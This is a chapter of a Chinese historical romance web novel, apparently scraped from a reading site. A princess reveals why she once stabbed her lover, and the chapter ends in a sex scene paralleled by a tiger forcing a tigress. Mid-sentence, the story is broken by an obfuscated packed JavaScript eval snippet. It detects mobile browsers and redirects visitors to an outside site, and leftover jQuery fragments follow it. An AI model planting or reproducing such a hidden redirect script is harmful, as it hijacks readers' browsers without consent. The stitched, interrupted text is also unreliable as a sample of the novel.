默认冷灰
24号文字
方正启体

56. 那一刀

作者:一盏茶歌本书字数:K更新时间:
    左殊礼自宫中出来时已是入夜。


    马车里,他百无聊赖勾弄着竹简上的编丝,微有倦色的脸上闪过自嘲,这几日榻上凄凉,他休息得着实不大踏实。


    手头上一堆事务,边境骚乱,太后蛰伏,加上府上一帮不省心的女子,随便捉一件都恼人得紧,可偏偏无法沉心静气。


    他的姜央,毛病比这些棘手的事情更加麻烦,又实在硬不下心肠惩治。


    那始作俑者倒是安适如常,听下人来报,今日她还好心指导她人琴技。


    什么乱七八糟的人都敢接触,偏就对他少了耐心,真是不知该说她无情无心,还是过于迟钝不知如何责怪。


    回了王府,他径自向兽园行去。


    这几日那怪病似有复发的迹象,每至入夜,只能去园里缓解蠢蠢欲动的疯症。


    如今,倒是叫这堆没有人性的小畜生来陪伴了。


    今夜的兽园安安静静,他目不斜视信步迈入,未能瞥见门口守卫的欲言又止。


    直至行到园中观亭前,他脚步倏地一顿。


    平日常坐的坐席上,此时被一名意想不到的人占据。


    那人正襟危坐,沉静凝望着远处的兽笼,火光明明灭灭,将姣好的面容映得如梦似幻,斑驳的星火下,那双如翼的长睫随着火光微微颤动。


    单薄又脆弱,如夜里迎风不动的瘦小精怪。


    闻见声响,姜央缓缓侧头,唇角轻扬,目光漆点,“你回了。”声音也如精怪般轻柔缥缈。


    从她这文静娴雅的姿态中,左殊礼莫名感受到一分不同寻常。


    他微微抿了下唇,不动声色踏入观亭,坐在她身侧。


    桌案上备着惯饮的冷酒,她已为他添满了一碗,而她面前的酒碗已见底,里头还残留了几滴未尽的酒渍。


    她似等了许久。


    左殊礼微一蹙眉,“你饮酒了?”


    从前左殊礼最不爱她饮酒,只因她酒后粘他粘得紧,重逢后他甚少管她饮酒之事,偶然的不喜是怕她借酒消愁。


    可她的愁思,又岂是几碗清酒就能消弭的?


    姜央自顾一笑,抬手又为自己斟了一碗。


    直到那醇香的酎酒落入肚中,她轻叹一声,目光投向远处虚空,慢慢悠悠道:“三年前的秋日,有人为我送来一方沾血的布帛……”


    姜央感受到身侧之人有一瞬间的凝滞,随即他靠上凭几,那目光落在她身上,意味不明。


    姜央缓缓眨了下眼,继续道:“布帛上说,父皇欲在当日暗中毒杀你,以泄先周皇‘夺妃之恨’。”


    耳边是缥缈的风声,与那日的风一般,清冷又萧瑟,“我收到消息,本欲派人告知于你,然而父皇的宴已设好,就在黄昏时分。”


    她垂下眼,自嘲的笑了笑,拨弄着被风吹乱的碎发,“情急之下,我偷跑出宫,守在你进宫的长阳街上。那段时日,因为姜临夜的告诫,不敢让你我二人之事暴露,我已有许久未见你了。”


    回忆一点一点映入脑中,与那冬日残阳一般,逐渐在眼前变得清晰,“那一日,你身着白衣,眼里是一贯的冷漠,似血的夕阳披在你身上,仿若神祇降临。我忽然想,父皇要加害你,你躲过这一回,可前往周国的路途遥远,下一回又该怎么办?周国的使臣待你也不见恭敬,未必能护你周全,你孤立无援,我鞭长莫及,如何才能保住你?”


    她侧头看向沉默的左殊礼,“当时我想了许多,想来想去,心里只有一个念头,这样的人就要离开我了,是我没有福分与你在一起,此生一别也许再无相见之日,既然无法在一起,那我必须把你光明正大的送回去。”


    火光在她眼中映出星星点点的斑斓,如水中破碎的月影,“情急之下,我掏出你送我的匕首,在众目睽睽之下,当街刺入那一刀。”她笑哼了一声,也不知在嘲讽谁,“燕国公主为报‘母仇’杀害周国质子,此事当即传得满国皆知,父皇为了周国的援军,不仅不能再度暗中加害你,反而必须将你全须全尾送回先周皇跟前。”


    “以我一人之罪,保你平安,不仅为父皇‘泄愤’,并维持住燕国与周国的联盟……”


    她笑容轻浅,只是夜风将这笑吹得哀伤且孤寂,“左殊礼,从头到尾就没有燕皇的逼迫,更不存在以姜临夜为质,那一刀与任何人都无关,都是我的自作主张。是我,用阳谋,用你我二人的所有情谊换出你的一条命。”


    她垂下眼,嘲弄道:“很幼稚吧,对于我的擅作主张,你是不是想说我为何不肯如实相告?告诉你,你再想方设法避开,总能有办法躲开燕皇的一次又一次加害?”


    左殊礼静静凝望着她,静默不语。姜央似也不需要他的回答,自顾低喃:“事后我也曾想过,为何我当时非要刺那一刀?可问来问去,最后仍觉得这是最好的解决办法。”


    她眼角凝出一滴泪,“明知你会怨我,气我,恨我,怪我不曾信任你,可已没有必要再跟你解释。当时我只想着,你回到周国,今生再无复见的可能,留那些念想不过给你徒增烦恼,还不如让你误会着。后来,我一直没有告知你真相,是知你向来骄傲,对于我可笑的擅自做主,你只会悔恨自己无能无用,我以身涉险换取的平安,只会叫你自怨自艾。”


    她独自惆怅,长长地说了许多话,又解释了各中缘由,细致又入理,好似怕他不会相信似的,却听左殊礼蓦地开口,“你又在骗我。”


    姜央一顿,左殊礼倾身靠了过来,“你不肯告知我真相的原因一定不止这些,我虽会自责自己无用,但你知晓我的性子不会沉湎其中。我讨厌你的自作主张,再是讨厌,也不至于让你隐瞒这么久。”


    目光紧紧锁住姜央,冷冷问道:“你坏了燕皇的计划,他肯定不会放过你,你遭遇了什么?”


    真相从始至终都不重要,是否受燕皇胁迫的差别,在于她的真心是在谁身上。而她不肯告知真相的缘由,一定不是她话中那般肤浅。


    姜央骤然抿紧了唇,移开目光,左殊礼见状,缓了声色,“姜央,如今话已说开,你还想一而再再而三的隐瞒我吗?”


    姜央垂头沉默许久,倏地浑不在意一笑,“也没什么,父皇不过是收了我的封地石邑,给我移了一处宫院。”


    左殊礼双拳在袖中紧握,面上一片沉静,缓缓道:“没了母妃被打入冷宫的公主,不服燕皇控制,加上容貌不俗声名显赫,于是燕皇拿你四处做交易,并在诸国会盟上,让你在列国君王的榻前走了一圈?”


    她冲动为燕皇“泄愤”之举只是导火索,她可以借口自己莽撞愤怒才会当街刺人,但也是这一次事件给燕皇心底埋下种子,加上又有姜霭母女在燕皇耳边挑唆,燕皇也早已不是当初的明君,以至于后来才完全厌弃了这个公主。


    姜央死死垂着头,喉间泄出一声压抑不住的低噎,浑身的颤抖泄露了她的愤恨与惧怕。


    “因为我,曾经宠爱你的父皇,辱你欺你,没了依仗,往日嫉妒你的兄弟姊妹只会变本加厉欺凌你,你之后遭遇的种种,都与此事有关?”


    姜央紧咬着牙,死活不肯开口,避而不谈的态度一一应验了左殊礼的猜测。


    从云端跌落尘泥,她三年来的种种遭遇和磋磨,都始于她当街刺他的那一刀。


    为救他一命的那一刀。


    她救下他,却将自己打入无边炼狱。


    “姜央,”左殊礼轻抚上她的面庞,想抚慰她的哀伤,可她固执得不肯看他一眼。


    左殊礼轻靠上她的头,轻声问:“你为我做了这么多,舍去一身傲骨,受尽折磨,后悔过吗?”


    姜央终于哭出声,双手撑上桌案,撑住她即将溃散的意志,痛声道:“不后悔,我做的都是对的,我从不后悔!”


    她何错之有?是燕皇“献妃”无德在前,又妄图乱杀泄愤,她弥补在后,只是拨乱反正,左殊礼本就不应该死在燕国,是她的父皇被猪油蒙了心!


    她护左殊礼,不仅护的是他的人,更是心中的道义。


    “可我后悔啊!”左殊礼紧紧裹住她,“我后悔当年就该带你一起走。”


    “左殊礼,我告诉你这些不是让你后悔的,我只是不想……不想……”


    “我知道,你只是不想让我误会,你只是想告诉我,从头至尾,你只是为了我一个人。”


    姜央捂着脸痛哭着,泪水从指缝中滑落,“我就知道,我就知道,只要告诉你,肯定会被问出那些事情,我不想让你知道的,你怎么这么可恨!”


    她不想让自己对左殊礼的好,成为他的负担与愧疚,与左殊礼曾经那段岁月,是她人生中最为纯粹美好的记忆,她不想掺杂多余复杂的情感。


    她不要他的愧疚!


    左殊礼轻柔抚摸着她的墨发,一丝一丝安抚她心底沉痛的疮疤,“姜央,你常常为了你的权衡利弊奋不顾身,却往往落得不得其所,你怎就学不会自私一些,自私的护好自己?”


    “我做我自己想做的,也是一种自私。”


    左殊礼轻笑一声,循循善诱道:“那你为何不试试舍下这‘权衡利弊’,改一改这‘舍己为人’的毛病?”


    姜央一怔,终于从悲痛中抽离出来,满是泪水的脸上陷入沉思,瞧着竟有几分可爱。


    她沉默良久,才道:“我听不懂你的话,我只知道,”她垂下眼,低声道:“我权衡利弊以后,还是喜欢你。”


    左殊礼的心口骤然一疼,霎时紧紧抱住她,脸庞深深埋入青丝,至死也不愿撒手。


    他的姜央,一如既往,心里永远只有他。


    他亦然。


    兽笼中的白虎忽然响起一声不耐的吠叫,其他猛兽随之嚎叫出声,园中一时连绵着此起彼伏的刺耳啸声。


    左殊礼抱着姜央,轻微摇晃,他忽而问,“你可知我为何要在府里养他们?”


    姜央湿润的眼,清澈看向他。


    他爱怜的为她拂开被泪水沾湿的碎发,眼底是许久不曾见过的温柔,“自你捅我那一刀后,我便得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768596|182965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一种怪病,想必辛夷已经告诉你了,但你可知我为何会发病吗?”


    他一点一点擦干脸上濡湿,轻声叙述道:“我当年多恨你啊,恨你明明已为我所有,又被你弃若敝履,以至于那一刀下去之后,只要想到你的名字,就抑制不住要发疯。”


    “你以为你与我一刀两断,自此永不复见,可偏偏讽刺的是,我无法遏制思念你,你的名字像阴魂不散的鬼魂一样,无时无刻缠绕着我。后来,我发现唯有鲜血的腥气能安抚这股疯魔,于是建了这个园子,每到发病之际,我就看它们生啖血肉,以镇病痛。”


    他指着不远处兽笼中的两只白虎,道:“我还特地搜寻了两只白虎,一公一母,这母虎并不喜这公虎,可我偏要将它们关在一处。”


    “我一边看着它们啃食血肉,一边回想着你的音容笑貌,有时候我自己都分不清,对你到底是恨还是爱。”


    “直到,你终于来到我身边。”他取过她紧握的手,轻轻松开她的长指,贴在唇上柔柔轻啄,“我才渐渐发觉,不是想到你才发病,而是以为你要离开我,我才会疯魔。”


    起初只要想到姜央的名字就会犯病,他本以为是深恨姜央的绝情。以至于他忍不住想靠近她时,仍旧想方设法疏远她,冷落她,誓要切断这根羁绊。


    可这羁绊有如跗骨之蛆,切得越狠,埋得越深。


    姜央在他身边呆得越来越久,他才惊觉,原来他并不是要远离她,而是要将她紧紧束缚在身边。


    他再不能让姜央抛弃他,她就该是扎根在他体内的一根藤,汲取他的血肉营养,互相抚慰,永远依傍他而生。


    他将她的掌心贴在脸颊,抵着她的鼻尖,“靠着这病,三年时间我不择手段成为上将军,只是为了你一个人,只为将你带回我身边,我追逐权力,是因只有手握权势才能保护你。是你成就了我,我左殊礼,是因你而涅槃重生。”


    “你那要与我了断的一刀,让我永远都无法放下你。”


    姜央方歇的泪水,又滑落下来。


    此时无论说什么都显得苍白无力。


    她曾以为,她与左殊礼之间向来有缘无分,为了心中执念,她奋不顾身,从不求得左殊礼的回报。


    可他这一身的病,给了她最好的答案。


    “你从来都不是我的病根,而是我的解药!”他紧贴着她,一手轻轻覆在她腰间绅带上,低声呢喃含着蛊惑之音,“姜央,你是我左殊礼这一生的救赎。”


    “左殊礼,”姜央埋在他怀中,顺着他腰间的手,缓缓解开绅带花结,“我会一直留在你身边,为你‘治病’。”


    左殊礼眼眸微颤,衣衫滑落,姜央倾身坐到他腿上,捧着他的脸颊深深凝视,“而你,是唯一能除我魔障的依傍。”


    她吻了下去,腰间骤然一紧,他狠狠箍住她,那蛮狠的力道,似要将她融入皮囊血肉。


    不见分毫旖旎缱绻,似互相追逐紧咬的野兽,凭借着本能要将彼此拆吃入腹。


    他们本该就是一体的,就应当如此。


    随着身躯的浮浮沉沉,姜央咬上他右肩的疤,那是她留下的烙印,是证明此人独属于她的印记。细小的尖牙刺破肌肤,在原本的疤痕上再次打下两个血眼。


    而左殊礼,则重新赠予她痛与欢|愉。


    园中猛兽们再次吠叫不止,躁动不安,惹得宁静的夜色也跟着燥乱。


    原本在笼中沉睡的公虎,突然起身覆在母虎身上。母虎挣扎不休,公虎一口咬住她的脖颈,咬下它的抗拒。


    母虎低鸣一声,虎掌贴地,僵硬的虎躯渐渐柔软,嘴间愤怒的吼叫也徐徐变得婉转。


    黑夜无光,乌云覆顶,魑魅魍魉横行无忌,一声娇吟勾得鬼魅循声探来。


    忽而一声沉怒的闷雷之声,惊得它们四处乱窜,大雨落下不过半刻,洗尽铅华,冲散污秽。


    雨收云散之时,再见皓月当空。


    ……


    临近仲秋时节,顺王府中还住着三名贵客,本该是有人操持一番,然而两位“主子”近日都不约而同闭门谢了客。


    顺王殿下许是朝中事务繁忙,无暇顾及可以理解,可向来无所事事的湖光公主,也不知为何躲在院中不肯露面。


    三人无奈,只好请示王爷身边的唤雨。


    唤雨甚是大度,也许是得了顺王的吩咐,道几人可暂先回府,节后再归也不迟。


    那恭送她们喜形于色的模样,仿佛她们离去后再也不用回来了似的。


    于是,顺王妃候选的三名女子,在连顺王一面都没见到的情况下,出了王府。


    朝中对于顺王此举的不满言论,再度响起,一时闹得左殊恩也有些头疼。


    无奈言论中心之人“身子不适”,几日未来上朝,只叫左殊恩凭白受了这窝囊气。


    无人知晓,那始作俑者此时正窝在自己榻上,温香软玉在怀,好不自在。


    俊秀的脸上不见一丝病态,反而带着饱足后的慵懒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)